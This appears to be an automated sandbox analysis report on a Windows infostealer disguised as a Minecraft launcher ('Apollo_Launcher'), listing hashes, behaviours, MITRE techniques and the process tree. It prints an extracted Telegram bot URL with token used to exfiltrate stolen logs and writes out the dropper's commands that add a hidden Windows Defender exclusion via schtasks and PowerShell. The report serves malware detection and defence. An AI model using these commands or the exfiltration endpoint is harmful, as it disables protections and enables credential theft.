Analysis
-
max time kernel
1799s -
max time network
1150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-it -
resource tags
arch:x64arch:x86image:win10v2004-20241007-itlocale:it-itos:windows10-2004-x64systemwindows -
submitted
18-10-2024 12:29
Static task
static1
Behavioral task
behavioral1
Sample
Apollo_Launcher.zip
Resource
win10v2004-20241007-it
Behavioral task
behavioral2
Sample
Apollo_Launcher/Apollo.jar
Resource
win10v2004-20241007-it
General
-
Target
Apollo_Launcher/start.bat
-
Size
854B
-
MD5
0bae63fa7bdef4a22a540c30d19d0419
-
SHA1
c8948de80bcaf1b661a1f32aea7ba95e2d4ad520
-
SHA256
179a4e724129787b00bd2aff3e08b0637c9c0fa81fb8bb86cee43020a332ea69
-
SHA512
79854985b8deff323372c4f5225eaadc49c390c23e3fd4ac4bd838d9636fb281b9c6db0b3d79067c44a43cf29e92999b810a3ca5805891ac527a56df007db63a
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4549607810&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20138.199.29.44%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5024 powershell.exe 5024 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation Minecraft_Client_1.21.1.exe -
Executes dropped EXE 1 IoCs
pid Process 2960 Minecraft_Client_1.21.1.exe -
Loads dropped DLL 1 IoCs
pid Process 2960 Minecraft_Client_1.21.1.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 27 raw.githubusercontent.com 21 pastebin.com 22 pastebin.com 23 raw.githubusercontent.com 24 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Minecraft_Client_1.21.1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Minecraft_Client_1.21.1.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2904 timeout.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1808 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 5024 powershell.exe 5024 powershell.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe 2960 Minecraft_Client_1.21.1.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5024 powershell.exe Token: SeDebugPrivilege 2960 Minecraft_Client_1.21.1.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4480 java.exe 4480 java.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2752 wrote to memory of 3392 2752 cmd.exe 85 PID 2752 wrote to memory of 3392 2752 cmd.exe 85 PID 3392 wrote to memory of 3292 3392 net.exe 86 PID 3392 wrote to memory of 3292 3392 net.exe 86 PID 2752 wrote to memory of 2220 2752 cmd.exe 87 PID 2752 wrote to memory of 2220 2752 cmd.exe 87 PID 2752 wrote to memory of 1808 2752 cmd.exe 88 PID 2752 wrote to memory of 1808 2752 cmd.exe 88 PID 2752 wrote to memory of 2300 2752 cmd.exe 89 PID 2752 wrote to memory of 2300 2752 cmd.exe 89 PID 2752 wrote to memory of 2904 2752 cmd.exe 91 PID 2752 wrote to memory of 2904 2752 cmd.exe 91 PID 2752 wrote to memory of 348 2752 cmd.exe 96 PID 2752 wrote to memory of 348 2752 cmd.exe 96 PID 2752 wrote to memory of 4480 2752 cmd.exe 97 PID 2752 wrote to memory of 4480 2752 cmd.exe 97 PID 4480 wrote to memory of 2960 4480 java.exe 103 PID 4480 wrote to memory of 2960 4480 java.exe 103 PID 2960 wrote to memory of 1272 2960 Minecraft_Client_1.21.1.exe 109 PID 2960 wrote to memory of 1272 2960 Minecraft_Client_1.21.1.exe 109 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Apollo_Launcher\start.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:3292
-
-
-
C:\Windows\system32\schtasks.exeschtasks /query /tn "AddDefenderExclusionTask"2⤵PID:2220
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "AddDefenderExclusionTask" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" /sc once /st 00:00 /rl highest /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1808
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "AddDefenderExclusionTask"2⤵PID:2300
-
-
C:\Windows\system32\timeout.exetimeout /t 3 /nobreak2⤵
- Delays execution with timeout.exe
PID:2904
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn "AddDefenderExclusionTask" /f2⤵PID:348
-
-
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exejava -jar Apollo.jar2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exeC:\Users\Admin\AppData\Local\Temp\Minecraft_Client_1.21.1\Minecraft_Client_1.21.1.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCB5E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpCB5E.tmp.bat4⤵PID:1272
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
-
Filesize
5.6MB
MD531946abddd530c1e86f36c191046336b
SHA1b480a8833f684cba353f628c087bf7297a4d4df8
SHA256272a3703b7c4e353638c410008c95503abb90d47b81c5b253773cb0d546e5a0d
SHA51293aeacbb4227b9ae1f731135dc42697fbdadff9c3259ccde9d7b7b4eecfef89c71e3d773df4281cae3d84f81246d6a95da9eaaea85efb949ca33a42f97ead8cb
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
215B
MD5edecc78b2f241e1272f6197fe89b7e9c
SHA1f454966e03384768f142ff452dbf351dc25bdfdf
SHA25603f91fda3049aa1a33f7b680ba0fd7a2df926e878275ef0433be1838f3e884da
SHA512e60e40c598001e122f8988bba13022db987c16a5515280c79e4b2ffcc5b507ff0a399a5273db533ba5ba37d63207af9b027eb7e768745d48499cc9a6fb86a04f
-
Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84